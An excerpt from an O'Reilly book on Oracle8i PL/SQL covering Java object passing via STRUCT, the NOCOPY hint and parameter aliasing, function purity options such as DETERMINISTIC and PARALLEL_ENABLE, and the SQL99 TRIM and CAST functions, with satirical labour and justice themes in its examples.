/

Steven is an object-oriented devotee and is committed to taking 100% advantage of both the limited object features of Oracle and the full object-oriented capabilities of Java. He needs, as a result, to be able to pass an object defined inside Oracle straight through to Oracle. How would he go about this?

One approach he can take is to utilize a special class provided by Oracle called oracle.sql.STRUCT. This class relies on default JDBC mappings for the attribute types. (See Oracle's and Java's documentation for more information about JDBC.) The STRUCT class offers a getAttributes( ) method that returns an array of Java objects, one object for each attribute in the Oracle object type, each object containing the value of the attribute. Given the labor source type just shown, for example, a call to getAttributes( ) would return an array with objects defined at indexes 0 and 1 ( Java arrays always start at 0).

The following class demonstrates how you can build a Java class to pass an Oracle object and use the getAttributes( ) method to retrieve object attribute values. Notice the long list of import commands; whenever you use Oracle classes and JDBC, you will need to include these lines (or variations thereof). The java.math.* classes are imported because Oracle attributes of type NUMBER map to Java's BigDecimal class, which is not available by default.

/* Filename on companion disk: UnionBuster.java */
import java.sql.*;
import java.io.*;
import oracle.sql.*;
import oracle.jdbc.driver.*;
import oracle.oracore.*;
import oracle.jdbc2.*;
import java.math.*;

public class UnionBuster {

  public static void wageStrategy (STRUCT e)
    throws java.sql.SQLException {

    // Get the attributes of the labor_source object.
    Object[] attribs = e.getAttributes();

    // Access individual attributes by array index,
    // starting with 0.
    String laborType = (String)(attribs[0]);
    BigDecimal hourly_rate = (BigDecimal)(attribs[1]);

    // We'll simply display the two attribute values.
    System.out.println (
       "Pay " + laborType + " $" +
       hourly_rate + " per hour");
  }
}

This line probably looks quite odd to you:

BigDecimal hourly_rate = (BigDecimal)(attribs[1]);

What you are seeing here is a cast from one class to another. The attribs array is composed of "generic" objects. The object contains nothing more, however, than the attribute value. So if I want to extract the number from this object, I prefix the reference to the array element with the name of the class to which I want the object converted. Oracle, by the way, also supports the cast operation to a more limited degree with the SQL CAST operator, described in Chapter 10, More Goodies for Oracle8i PL/SQL Developers.

Once Steven has compiled and loaded this class into the Oracle database, he creates his PL/SQL cover, a procedure in this case, since the wageStrategy( ) method does not return any data:

/* Filename on companion disk: passobj.tst */
CREATE OR REPLACE PROCEDURE bust_em_with (
   labor_source_in IN labor_source)
AS LANGUAGE JAVA
   NAME 'UnionBuster.wageStrategy (oracle.sql.STRUCT)';
/

Notice that Steven must include the fully qualified datatype in his PL/SQL cover program, even though the Java class parameter is specified only as STRUCT.

And now companies all over the world can use this procedure to depress the hourly wages of workers generally, and destroy unions in particular, as shown here:

/* Filename on companion disk: passobj.tst */
BEGIN
   bust_em_with (
      labor_source ('Workfare', 0));
   bust_em_with (
      labor_source ('Prisoners', '5'));
END;
/

We see this output in SQL*Plus when this script is run:

makeOne: [B@2862355c 109 SCOTT.LABOR_SOURCE class oracle.sql.STRUCT
makeOne returns: class oracle.sql.STRUCT
Pay Workfare 0 per hour

makeOne: [B@eb7eefb2 109 SCOTT.LABOR_SOURCE class oracle.sql.STRUCT
makeOne returns: class oracle.sql.STRUCT
Pay Prisoners 5 per hour

Previous: 9.8 Publishing and Using Java in PL/SQL | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 10. More Goodies for Oracle8i PL/SQL Developers
9.8 Publishing and Using Java in PL/SQL | Book Index | 10. More Goodies for Oracle8i PL/SQL Developers
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] More Goodies for Oracle8i PL/SQL Developers

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: 9.9 Examples Chapter 10 Next: 10.2 Calling Packaged Functions in SQL

10. More Goodies for Oracle8i PL/SQL Developers

Contents:
The NOCOPY Parameter Mode Hint
Calling Packaged Functions in SQL
SQL99 Compliance
SQL Operations on Collections
Miscellaneous and Minor Improvements

I've already covered a veritable cornucopia of new features available for PL/SQL developers in Oracle8i. Even if that were all that Oracle8i offered to developers, we would all be very happy -- and very busy learning how to use all the new stuff. Yet there is still more! This chapter covers other features that improve either the performance or the usability of PL/SQL in Oracle8i:

The NOCOPY compiler hint

You can avoid the overhead of copying IN OUT parameter values with this enhancement. When you are working with large collections and records, NOCOPY can have a noticeable impact on program performance.

Calling PL/SQL functions from SQL

Oracle8i offers some big relief for PL/SQL developers when it comes to calling their own functions: you no longer have to use the RESTRICT_REFERENCES pragma! Oracle8i also offers two new keywords, DETERMINISTIC and PARALLEL ENABLE, to help you integrate your PL/SQL, C, and Java code into all aspects of your database.

SQL99 compliance

Oracle8i adds or expands the TRIM and CAST operators to better support the SQL99 standard.

SQL operations on collections

Oracle8i makes it even easier to integrate PL/SQL (transient) collections into SQL statements.

I also review transparent improvements, that is, changes to the language that improve the performance or behavior of your PL/SQL-based applications without necessitating any modifications to your code.

10.1 The NOCOPY Parameter Mode Hint

PL/SQL 8.1 offers a new option for definitions of parameters: the NOCOPY clause. NOCOPY is a hint to the compiler about how you would like the PL/SQL engine to work with the data structure being passed in as an OUT or IN OUT parameter. To understand NOCOPY and its potential impact, it will help to review how PL/SQL handles parameters. Let's start with some definitions:

Formal parameter

The parameter defined in the parameter list and used in the program.

Actual parameter

The actual expression or variable passed to the program when it is called.

By reference

When an actual parameter is passed by reference, it means that a pointer to the actual parameter is passed to the corresponding formal parameter. Both the actual and formal parameters then reference, or point to, the same location in memory that holds the value of the parameter.

By value

When an actual parameter is passed by value, the value of the actual parameter is copied into the corresponding formal parameter. If the program then terminates without an exception, the formal parameter value is copied back to the actual parameter. If an error occurs, the changed values are not copied back to the actual parameter.

Parameter passing in PL/SQL (without the use of NOCOPY) follows the rules shown in the following table.

Parameter Mode | Passed by Value or Reference? (Default Behavior)
IN | By reference
OUT | By value
IN OUT | By value

We can infer from all of these definitions and rules that when you pass a large data structure (such as a collection, record, or instance of an object type) as an OUT or IN OUT parameter, your application could experience performance and memory degradation due to all of this copying.

PL/SQL 8.1 offers the NOCOPY hint as a way for you to attempt to avoid this copying. The syntax of this feature is as follows:

parameter_name [ IN | IN OUT | OUT | IN OUT NOCOPY | OUT NOCOPY ] parameter_datatype

You can specify NOCOPY only in conjunction with the OUT or IN OUT mode. Here, for example, is a parameter list that uses the NOCOPY hint for both of its IN OUT arguments:

PROCEDURE analyze_results (
   date_in IN DATE,
   values IN OUT NOCOPY numbers_varray,
   validity_flags IN OUT NOCOPY validity_rectype
   );

Remember that NOCOPY is a hint, not a command. This means that the compiler might silently decide that it cannot fulfill your request for a NOCOPY parameter treatment. The next section lists the restrictions on NOCOPY that might cause this to happen.

10.1.1 Restrictions on NOCOPY

A number of situations will cause the PL/SQL compiler to ignore the NOCOPY hint and instead use the default by-value method to pass the OUT or IN OUT parameter. These situations are the following:

  • The actual parameter is an element of an index-by table (which could be an entire record structure). You can request NOCOPY for an entire index-by table, but not for an individual element in the table. A suggested workaround is to copy the structure to a standalone variable, either scalar or record, and then pass that as the NOCOPY parameter. That way, at least you aren't copying the entire structure.

  • Certain constraints applied to actual parameters will result in the NOCOPY hint being ignored. These constraints include a scale specification for a numeric variable and the NOT NULL constraint. You can, however, pass a string variable that has been constrained by size.

  • Both the actual and formal parameters are record structures. One or both records were declared using %ROWTYPE or %TYPE, and the constraints on corresponding fields in these two records are different.

  • The actual and formal parameters are record structures. The actual parameter was declared by the PL/SQL engine as the index of a cursor FOR loop, and the constraints on corresponding fields in the records are different.

  • In passing the actual parameter, the PL/SQL engine must perform an implicit datatype conversion. A suggested workaround is this: you are always better off performing explicit conversions, so do that and then pass the converted value as the NOCOPY parameter.

  • The subprogram requesting the NOCOPY hint is used in an external or remote procedure call. In these cases, PL/SQL will always pass the actual parameter by value.

10.1.2 Impact of NOCOPY Use

Depending on your application, NOCOPY can improve the performance of programs with IN OUT or OUT parameters. As you might expect, these potential gains are only available with a trade-off: if a program terminates with an unhandled exception, you cannot trust the values in a NOCOPY actual parameter.

What do I mean by trust? Let's review how PL/SQL behaves concerning its parameters when an unhandled exception terminates a program. Suppose that I pass an IN OUT record to my calculate_totals procedure. The PL/SQL runtime engine first makes a copy of that record and then, during program execution, makes any changes to that copy. The actual parameter itself is not modified until calculate_totals ends successfully (without propagating back an exception). At that point, the local copy is copied back to the actual parameter, and the program that called calculate_totals can access that changed data. If calculate_totals terminates with an unhandled exception, however, the calling program can be certain that the actual parameter's value has not been changed.

That certainty disappears with the NOCOPY hint. When a parameter is passed by reference (the effect of NOCOPY), any changes made to the formal parameter are also made immediately to the actual parameter. Suppose that my calculate_totals program reads through a 10,000-row collection and makes changes to each row. If an error is raised at row 5000, and that error is propagated out of calculate_totals unhandled, my actual parameter collection will be only half-changed. How will I know what is good data and what is bad?

The following test script (available in nocopy.tst on the companion disk) demonstrates this problem. I create two versions of the same program, each of which moves through a five-row collection, doubling the value of each row. When they hit row 3, however, I raise a VALUE_ERROR exception. I then examine the contents of the collection before and after each program call.

Here are the programs:

/* Filename on companion disk: nocopy.tst */
CREATE OR REPLACE PACKAGE BODY nocopy_test
IS
   PROCEDURE pass_by_value (nums IN OUT number_varray)
   IS
   BEGIN
      FOR indx IN nums.FIRST .. nums.LAST
      LOOP
         nums(indx) := nums(indx) * 2;
         IF indx > 2 THEN RAISE VALUE_ERROR; END IF;
      END LOOP;
   END;

   PROCEDURE pass_by_ref (nums IN OUT NOCOPY number_varray)
   IS
   BEGIN
      FOR indx IN nums.FIRST .. nums.LAST
      LOOP
         nums(indx) := nums(indx) * 2;
         IF indx > 2 THEN RAISE VALUE_ERROR; END IF;
      END LOOP;
   END;

END;
/

Here is the block that exercises these two programs:

DECLARE
   nums1 number_varray := number_varray (1, 2, 3, 4, 5);
   nums2 number_varray := number_varray (1, 2, 3, 4, 5);

   PROCEDURE shownums (
      str IN VARCHAR2, nums IN number_varray) IS
   BEGIN
      DBMS_OUTPUT.PUT_LINE (str);
      FOR indx IN nums.FIRST .. nums.LAST
      LOOP
         DBMS_OUTPUT.PUT (nums(indx) || '-');
      END LOOP;
      DBMS_OUTPUT.NEW_LINE;
   END;
BEGIN

   shownums ('Before By Value', nums1);
   BEGIN
      nocopy_test.pass_by_value (nums1);
   EXCEPTION
      WHEN OTHERS THEN shownums ('After By Value', nums1);
   END;

   shownums ('Before NOCOPY', nums2);
   BEGIN
      nocopy_test.pass_by_ref (nums2);
   EXCEPTION
      WHEN OTHERS THEN shownums ('After NOCOPY', nums2);
   END;

END;
/

And here are the results:

Before By Value
1-2-3-4-5-
After By Value
1-2-3-4-5-
Before NOCOPY
1-2-3-4-5-
After NOCOPY
2-4-6-4-5-

As you can see from the last set of output numbers, the first three rows of the nums2 variable array have been modified, even though the pass_by_ref procedure did not finish its job.

One concern about this trade-off is that the behavior of your application can change even when you don't actually change any of your code. Suppose that you are running in a distributed database environment, and you rely on remote procedure calls (RPCs). In the current implementation of PL/SQL, the NOCOPY hint is always ignored for RPCs. For the last six months, your application has been calling a program that happened to reside on the same database instance as your application. Then a DBA reconfigured databases and the distribution of code, and now your application is calling a remote procedure -- which may cause your application to behave differently, at least when an exception occurs.

On the other hand, you are not likely to encounter this scenario or others that might cause a change in behavior: for example, parameter aliasing (discussed in the next section) or reliance on the values of parameters after a program call fails with an unhandled exception. Standard, reasonable coding practices should keep you away from such problems.

10.1.3 Parameter Aliasing

Potential corruption of your data structures is not the only complication with NOCOPY. This hint also increases the possibility that you will encounter programs with a situation known as parameter aliasing, where two different identifiers in your program refer to the same memory location (two aliases for the same data), and the behavior of your code does not match your expectations.

TIP: Parameter aliasing as a potential issue predates the introduction of the NOCOPY feature. Programs should not rely on aliasing behavior, and you should examine your code carefully to ferret out such dependencies.

Here is an example of parameter aliasing and the trouble it can cause (see parmalias.sql for the contiguous code). First, I declare a record type containing information about a prisoner (name and number of years incarcerated). Then I declare a variable type array of those records:

/* Filename on companion disk: parmalias.sql */
DECLARE
   TYPE prisoner IS RECORD (
      name VARCHAR2(100),
      years_incarcerated NUMBER);

   TYPE prisoner_list IS VARRAY(2000) OF prisoner;
   innocents_on_deathrow prisoner_list := prisoner_list();

Since the death penalty was reinstated in the state of Illinois in 1977, 10 men have been executed (as of May 1999). Eleven men have been found to be innocent of the crimes for which they were to be killed and have been released, but often after spending many years on Death Row (Anthony Porter was there for 18 years!). Now that is what I call a travesty of justice. So here's a procedure -- defined within the same PL/SQL block or scope -- to add a travesty to the list:

PROCEDURE add_travesty (
   illinois_inhumanity IN OUT NOCOPY prisoner_list)
IS
BEGIN
   illinois_inhumanity(1).name := 'Rolando Cruz';
   illinois_inhumanity(1).years_incarcerated := 10;

   innocents_on_deathrow(1).name := 'Anthony Porter';
   innocents_on_deathrow(1).years_incarcerated := 17.75;
END;

This program populates the first rows of what seem to be two different variable arrays: illinois_inhumanity and innocents_on_deathrow. Nothing wrong with that, right? Well, let's see how we are going to use this program:

BEGIN
   innocents_on_deathrow.EXTEND;
   add_travesty (innocents_on_deathrow);
   DBMS_OUTPUT.PUT_LINE (innocents_on_deathrow(1).name);
END;
/

I extend the global innocents_on_deathrow array and then call add_travesty, passing in that variable array. Then I display the name of the person in the first row.

You will see in parmalias.sql that I have two different versions of this block: one that uses NOCOPY for the parameter in add_travesty, and another that relies on the default parameter passing mechanism (by value). When I run these two blocks, I see this result on my screen:

With NOCOPY: Anthony Porter
Without NOCOPY: Rolando Cruz

Why do I get these different results? We'll first analyze the action with the NOCOPY option (see Figure 10.1):

  1. When I call add_travesty, I pass innocents_on_deathrow as the IN OUT prisoner list. Since it is passed using NOCOPY, any changes made to the array take place immediately.

  2. I set the first row of illinois_inhumanity with information about Rolando Cruz.

  3. Then I set the first row of innocents_on_deathrow with the information about Anthony Porter. Since I have used NOCOPY, the two arrays are the same, and so illinois_inhumanity is modified as well.

  4. When the program ends, no copying takes place and so I see "Anthony Porter" when I display the contents of the innocents_on_deathrow array.

    Figure 10.1: Parameter aliasing with NOCOPY

Now let's step through the default processing (no use of NOCOPY):

  1. When I call add_travesty, I pass innocents_on_deathrow by value.

  2. I set the first row of my formal parameter (a local copy of innocents_on_deathrow) with information about Rolando Cruz.

  3. Then I set the first row of my global collection (innocents_on_deathrow itself) with the information about Anthony Porter.

  4. When the program ends, any changes made to the formal parameter are copied to the actual parameter, innocents_on_deathrow. This action overwrites the Anthony Porter information. Consequently, after the program is run, I see "Rolando Cruz" when I display the contents of the innocents_on_deathrow array.

Figure 10.2 illustrates the sequence of events without the use of NOCOPY.

Figure 10.2: Parameter aliasing without NOCOPY

You can see that the results of my program depend on the method of parameter passing chosen by the compiler. The compiler might change its mind, when and if circumstances change and a recompile is required. This introduces a level of uncertainty in your application. How can you avoid this problem?

You should be very careful in your use of both the NOCOPY hint and global variables. You are almost always better off passing global data structures through a parameter list rather than referencing them directly within a program unit. When this is not practical, set clear rules about how and when your globals can be used.

10.1.4 Performance Gains with NOCOPY

How much faster might your application run if you use the NOCOPY hint? It will certainly depend very much on your data structures: the number of rows in your collections, the size of your records, and so on.

I put together a test comparing the management of an index-by table of records with NOCOPY and the default by-value passing method. Here is the procedure, combining both versions within the [ ] brackets to save some space (see nocopy3.tst for the full script):

/* Filename on companion disk: nocopy3.tst */
PROCEDURE pass_by_[value | ref ] (
   emps IN OUT [NOCOPY] emp_tabtype,
   raise_err IN BOOLEAN := FALSE)
IS
BEGIN
   FOR indx IN emps.FIRST .. emps.LAST
   LOOP
      emps(indx).last_name := RTRIM (emps(indx).last_name || ' ');
      emps(indx).salary := emps(indx).salary + 1;
   END LOOP;
   IF raise_err THEN RAISE VALUE_ERROR; END IF;
END;

Notice that I have set the procedure up to run so that I can allow it to end successfully or terminate with an unhandled exception. I ran these programs in a variety of ways, one of which is shown below:

PLVtmr.capture;
BEGIN
   FOR indx IN 1 .. num
   LOOP
      pass_by_[value | ref ] (emptab, TRUE);
   END LOOP;
EXCEPTION
   WHEN OTHERS THEN
      PLVtmr.show_elapsed ('By value raising error ' || num);
END;

Here are the results of executing the script 10 and then 100 times (with correspondingly larger volumes of data in the index-by table:

By value no error 10 Elapsed: .65 seconds.
NOCOPY no error 10 Elapsed: .06 seconds.

By value raising error 10 Elapsed: .03 seconds.
NOCOPY raising error 10 Elapsed: .01 seconds.

By value no error 100 Elapsed: 317.78 seconds.
NOCOPY no error 100 Elapsed: 6.67 seconds.

By value raising error 100 Elapsed: 1.57 seconds.
NOCOPY raising error 100 Elapsed: .07 seconds.

As you can see, there is a significant improvement in performance with NOCOPY, especially for the largest-scale test. I have run other tests, with less dramatic gains (see nocopy2.tst); you can easily modify my test scripts to test your own code to verify the impact of NOCOPY in your application.

Previous: 9.9 Examples | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 10.2 Calling Packaged Functions in SQL
9.9 Examples | Book Index | 10.2 Calling Packaged Functions in SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.2 Calling Packaged Functions in SQL

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

10.2 Calling Packaged Functions in SQL

In Oracle8i, Oracle has made changes in the way you define programs and assert their purity levels, or lack of side effects.

10.2.1 RESTRICT_REFERENCES Pragma

Back in Oracle 7.3, PL/SQL offered a new pragma (compiler directive) called RESTRICT_REFERENCES. This pragma was used to assert to the PL/SQL compiler the purity level of a packaged procedure or function. The RESTRICT_REFERENCES pragma had to be included in the package specification if you were to use that program inside a SQL statement (directly or indirectly).

This pragma has always been a major headache for PL/SQL developers, and as of Oracle 8.1 it is no longer required. The SQL engine will determine at the time you run your SQL statement whether or not the function call is valid. Many of the restrictions on how and when you can use functions in SQL have been relaxed, but the following rules still apply:

  • Named notation is not supported; you can only use positional notation. However, you cannot provide actual parameters for formal parameters with default values.

  • A function called from a query or DML statement may not end the current transaction, commit or roll back to a savepoint, or ALTER the system or session.

  • A function called from a SELECT statement or from a parallelized DML statement may not execute a DML statement or otherwise modify the database.

  • A function called from a DML statement may not read or modify the particular table being modified by that DML statement.

The last three restrictions can be avoided if you take advantage of PL/SQL 8.1's autonomous transaction feature (described in Chapter 2, Choose Your Transaction! ) in your function. With this approach, the function executes in its own transaction space, so a commit or DML statement has no impact on the "calling" SQL statement.

Oracle 8.1 also offers much better error messages. Instead of the double-negative, mind-bending:

ORA-06571: Function TOTCOMP does not guarantee not to update database

you will see this much more sensible message:

ORA-14551: cannot perform a DML operation inside a query

You can still include the PRAGMA RESTRICT_REFERENCES if you wish. You might, for example, want to use the PL/SQL compiler as a verification mechanism. It will tell you if your function has the side effects that you would expect, informing you of potential complications in underlying layers of code.

10.2.2 Related New Developments

Oracle has added several new options to the way you define programs and assert their purity levels to make it easier to deploy stored code in the new world of integration with Java and C, as well as with parallel databases.

10.2.2.1 The TRUST option

You no longer need to use PRAGMA RESTRICT_REFERENCES to enable PL/SQL programs for use in SQL; the runtime engine will figure it out all by itself. However, what if you want to call Java or C routines from within SQL? You can now build wrappers around code written in those languages to make them accessible in PL/SQL. But the SQL engine cannot analyze those programs to determine freedom from side effects.

Oracle has, therefore, added a new option in the PRAGMA RESTRICT_REFERENCES statement: TRUST. The complete syntax for this pragma is now as follows:

PRAGMA RESTRICT_REFERENCES (
    function_name, WNDS [, WNPS] [, RNDS] [, RNPS] [, TRUST] );

The TRUST option makes it easier to call Java and C routines from functions that have a RESTRICT_REFERENCES pragma. When TRUST is used in the pragma, the restrictions listed in that pragma are not actually enforced. They are, instead, simply trusted to be true. Now that's flexibility!

You can deploy the TRUST option on the top-level program that then calls other programs, or you can use TRUST with each of the lower-level programs, allowing you to then assert whatever purity levels are necessary on routines that call them. Let's look at some examples.

When calling from a section of code that is using pragmas to a section that is not, there are two likely usage styles. One is to place a pragma on the routine to be called, for example, on a call specification for a Java method. Calls from PL/SQL to this method will then complain if the method is less restricted than the calling function.

The following package declares two programs. The maxsal function is based on a Java method; it uses the TRUST option to assert WNDS (writes no database state) and RNDS (reads no database state). The analyze_compensation procedure, which needs to assert WNDS so that it can be called from within a SQL query (indirectly), can then call maxsal. Note that if I wanted to assert WNPS or use this procedure in a function that is called in a WHERE clause, it would be rejected because the underlying pragma does not assert this purity level:

CREATE OR REPLACE PACKAGE personnel
IS
   FUNCTION maxsal (ssn_in IN VARCHAR2) RETURN NUMBER
   IS
      LANGUAGE JAVA NAME
         'Person.max_salary (Java.lang.String) return long';
      PRAGMA RESTRICT_REFERENCES (maxsal, WNDS, RNDS, TRUST);

   PROCEDURE analyze_compensation (ssn_in IN VARCHAR2);

   PRAGMA RESTRICT_REFERENCES (analyze_compensation, WNDS);
END;

In the next example, I have rewritten the personnel package specification to demonstrate the second usage style. Here, the top-level program, analyze_compensation, is the only program with a RESTRICT_REFERENCES pragma. I still won't have any problem calling maxsal and deploying it inside SQL, because I have added the TRUST option:

CREATE OR REPLACE PACKAGE personnel
IS
   FUNCTION maxsal (ssn_in IN VARCHAR2) RETURN NUMBER
   IS
      LANGUAGE JAVA NAME
         'Person.max_salary (Java.lang.String) return long';

   PROCEDURE analyze_compensation (ssn_in IN VARCHAR2);

   PRAGMA RESTRICT_REFERENCES (
      analyze_compensation, WNDS, WNPS, TRUST);
END;

The SQL runtime engine will not even check the purity level of maxsal; it has been instructed to "trust" the program.

10.2.2.2 Deterministic functions

What, you might ask, is a deterministic function? It's a program that doesn't have any free will. If you pass it X and Y values for its arguments, it always returns the same value(s). According to Oracle documentation:

A function that is dependent solely on the values passed into it as arguments, and does not meaningfully reference or modify the contents of package variables or the database, or have any other side-effects, is termed deterministic.

Here is an example of a deterministic function:

CREATE FUNCTION ceo_compensation (
   stock_increase IN NUMBER,
   layoffs IN NUMBER)
   RETURN NUMBER
IS
BEGIN
  RETURN 1000000 * (layoffs + stock_increase);
END;

Even if the company's assembly line killed three workers due to faulty wiring, as long as the stock price goes up and the CEO lays off a bunch of people, he receives a huge paycheck.

What's the big deal about this sort of function? If Oracle can be sure that the function will return the same value for a given set of arguments, then it can avoid re-executing the function if it remembers the value from the last execution with those arguments.

If you tell Oracle that a function is deterministic, this declaration becomes an optimization hint. The Oracle8i engine then knows that this function does not need to be called repetitively for the same arguments. It can instead cache the results and then simply use those results again and again.

This feature is especially useful within a parallelized query or parallelized DML statement. In addition, two new features in Oracle8i require that any function used with them be declared deterministic:

  • Any function used in a function-based index is required to be deterministic.

  • Any function used in a materialized view must be deterministic if that view is to be marked ENABLE QUERY REWRITE.

How do you declare a function to have this property? Simply place the DETERMINISTIC keyword after the return value type in the header of your function. In the following block, I have redefined the ceo_compensation function to be deterministic:

CREATE FUNCTION ceo_compensation (
   stock_increase IN NUMBER,
   layoffs IN NUMBER)
   RETURN NUMBER DETERMINISTIC
IS
BEGIN
  RETURN 1000000 * (layoffs + stock_increase);
END;

You can add this DETERMINISTIC clause in a header of any of the following:

  • A standalone function

  • A packaged function

  • An object type function

Do not place the DETERMINISTIC keyword in the header of the function in the package body or object type body. You can also declare a procedure to be deterministic. There are several situations in which deterministic functions are not required but are strongly recommended by Oracle:

  • Any materialized view or snapshot that is declared REFRESH FAST should only call deterministic functions.

  • If your function is called in a WHERE, ORDER BY, or GROUP BY clause, or is a MAP or ORDER method of a SQL type, or in any other way helps determine whether or where a row should appear in a result set, that function should be deterministic. (This characteristic was specified through the RESTRICT_REFERENCES pragma in earlier versions of Oracle with the WNDS and WNPS purity levels.)

WARNING: All you have to do is include the DETERMINISTIC keyword in your program declaration, and the SQL engine will automatically take one of a number of optimization steps. Yet the PL/SQL compiler really doesn't have any way to tell whether a function truly is deterministic. So if you label a program as deterministic erroneously, the results of any queries that call that function may also be erroneous.

10.2.2.3 PARALLEL_ENABLE functions

The execution of a SQL statement can involve many distinct actions (for example, updating multiple indexes on an INSERT). Oracle's parallel execution feature allows these multiple operations to be executed simultaneously on different processes. If a function is called in a SQL statement that is run in parallel, then Oracle may make and run a separate copy of the function in each process.

Oracle's parallel execution feature divides the work of executing a SQL statement across multiple processes. Functions called from a SQL statement that is run in parallel may have a separate copy run in each of these processes, with each copy called for only the subset of rows handled by that process. Each process has its own copy of package data structures, as well as Java STATIC class attributes. Oracle cannot assume that it is safe to parallelize the execution of user-defined functions if they might possibly modify any of those variables.

Prior to Oracle8i, a packaged function could be run in a parallel DML statement if its RESTRICT_REFERENCES pragma asserted all purity levels: WNDS, RNDS, WNPS, and RNPS. Those same purity levels also needed to be applicable to a standalone function if it were to be called in parallelized SQL. A parallel query required RNPS and WNPS, in addition to WNDS.

In Oracle8i, since RESTRICT_REFERENCES is no longer required and parallel function execution is still desired, a new and optional keyword, PARALLEL_ENABLE, has been added for the program header. This keyword is placed before the IS or AS keyword as shown in this example:

CREATE FUNCTION ceo_compensation (
   stock_increase IN NUMBER,
   layoffs IN NUMBER)
   RETURN NUMBER PARALLEL_ENABLE
IS
BEGIN
  RETURN 1000000 * (layoffs + stock_increase);
END;
/

You can use this keyword in a function defined in a CREATE FUNCTION statement, in a function's declaration in a CREATE PACKAGE statement, or on a method's declaration in a CREATE TYPE statement. You do not repeat this keyword in the function's or method's body in a CREATE PACKAGE BODY or CREATE TYPE BODY statement.

You don't have to use the PARALLEL_ENABLE keyword to identify functions that are eligible for parallel execution; Oracle suggests, however, that you use it, rather than a RESTRICT_REFERENCES pragma, when you need to achieve this effect. Here are some things to keep in mind:

  • If you define a standalone function with the CREATE FUNCTION statement, it may still be eligible for parallel execution if the SQL runtime engine can determine that the function neither reads nor writes package variables, nor calls any function that might do so.

  • A Java method or C function can never be seen by Oracle as safe to run in parallel unless the programmer explicitly indicates PARALLEL_ENABLE on the call specification or provides a PRAGMA RESTRICT_REFERENCES indicating that the function is pure enough for the operation.

  • If your function executes in parallel as part of a parallelized DML statement, it is not permitted to execute another DML statement. This function is, in fact, subject to the same restrictions enforced on functions that are run inside a query.

  • You can combine PARALLEL_ENABLE and DETERMINISTIC in the same program header.

Previous: 10.1 The NOCOPY Parameter Mode Hint | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 10.3 SQL99 Compliance
10.1 The NOCOPY Parameter Mode Hint | Book Index | 10.3 SQL99 Compliance
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.3 SQL99 Compliance

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

10.3 SQL99 Compliance

PL/SQL 8.1 adds support for several functions to come into compliance with the SQL99 standard.

10.3.1 The TRIM Function

The TRIM function allows you to trim leading or trailing characters (or both) from a character string. Here is the header of the function:

FUNCTION TRIM ( [LEADING | TRAILING | BOTH] trim_chars FROM trim_source )
   RETURN VARCHAR2;

where trim_chars is the number of characters to trim from trim_source.

This function conforms to these rules:

  • If trim_chars or trim_source is a character literal, you must enclose it in single quotes.

  • If you specify LEADING, Oracle removes any leading characters that are found in the trim_chars string (equivalent to the LTRIM built-in function).

  • If you specify TRAILING, PL/SQL removes any trailing characters found in trim_chars (equivalent to the RTRIM built-in function).

  • If you specify BOTH or none of the three, Oracle removes leading and trailing characters found in trim_chars.

  • If you do not specify trim_chars, the default value is a blank space.

  • The maximum length of the value is the length of trim_source.

The following block exercises the various forms of the TRIM command:

/* Filename on companion disk: trim.sql */
DECLARE
   mystr VARCHAR2(10);
   yourstr VARCHAR2(10) := 'Toronto';
BEGIN
   DBMS_OUTPUT.PUT_LINE (
      TRIM (LEADING 'x' FROM 'xyzabc'));
   DBMS_OUTPUT.PUT_LINE (
      TRIM (TRAILING 'cb' FROM 'xyzabc'));
   DBMS_OUTPUT.PUT_LINE (
      TRIM (BOTH 'x1' FROM '1x1yzabc111x'));
   DBMS_OUTPUT.PUT_LINE (
      TRIM ('x1' FROM '1x1yzabc111x'));
   DBMS_OUTPUT.PUT_LINE (
      TRIM (mystr FROM yourstr));
END;
/

and results in this output:

yzabc
xyza
yzabc
yzabc
Toronto

TIP: Oracle documentation states that "if either trim_source or trim_chars is a NULL value, then the TRIM function returns a null value." My tests indicate, however, that if trim_chars is NULL, then trim_source is returned unchanged.

10.3.2 The CAST Function

The CAST function converts one built-in datatype or collection-typed value into another built-in datatype or collection-typed value. CAST was first made available in Oracle 8.0 and has been extended in a variety of ways in Oracle8i. CAST, in essence, offers a single program name (and different syntax) to replace a variety of conversion programs, such as ROWIDTOHEX, TO_DATE, TO_CHAR, and so on. Here is the general syntax of the CAST statement:

CAST (expression AS type)

where expression is the expression to be converted and type is the name of the datatype to which the expression is converted.

You can cast an unnamed expression (such as a date or the result set of a subquery) or a named collection (such as a VARRAY or a nested table) into a type-compatible datatype or named collection. The type must be the name of a built-in datatype or collection type and the expression must be a built-in datatype or must evaluate to a collection value.

The expression can be either a built-in datatype or a collection type, and a subquery must return a single value of the collection type or the built-in type. If you are casting the result set of a subquery, you must then specify the MULTISET keyword to tell Oracle to return a collection value. MULTISET is illustrated in the last example in Section 10.3.2.2, "Collection examples.

Table 10.1 shows which built-in datatypes can be cast into which other built-in datatypes.

Table 10.1: Conversions Supported by CAST
From/ To | CHAR, VARCHAR2 | NUMBER | DATE | RAW | ROWID, UROWID | NCHAR, NVARCHAR2
CHAR, VARCHAR2 | ✓ | ✓ | ✓ | ✓ | ✓ |
NUMBER | ✓ | ✓ |  |  |  |
